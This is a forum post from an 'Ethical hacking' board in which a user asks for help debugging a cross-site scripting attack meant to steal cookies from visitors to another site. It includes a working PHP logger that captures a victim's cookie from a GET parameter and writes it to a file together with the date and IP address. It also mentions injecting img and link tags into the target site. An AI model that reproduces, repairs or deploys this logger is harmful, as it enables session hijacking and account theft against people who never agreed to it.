1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

XSS - Stealing cookies !

Discussion in 'Ethical hacking' started by rayjay, Jan 12, 2011.

  1. rayjay

    rayjay New Member

    Joined:
    Jan 12, 2011
    Messages:
    5
    Likes Received:
    0
    Trophy Points:
    0
    Does anybody know where my code doesn't work? It displays everything but the cookie. The site is kind of trick but it allows and .. which translates into html code as <img src=""></img> and <a href=""></a>.

    My PHP:

    1
    HTML:
     <?php
    $cookie =$HTTP_GET_VARS["cookie"];
    $date = date ("l ds of F Y h:i:s A");
    $ip = $_SERVER['REMOTE_ADDR'];
    $file = fopen('log.txt', 'a');
    fwrite($file,"DATE : $date || IP: $ip || COOKIE : $cookie \n");
    fclose($file);
    ?>
    I've tried many different modifications on the site with the img and url tags with [ ]

    I hope somebody can help.

    Indianman, tenu punjabi aandi ah?
     

Share This Page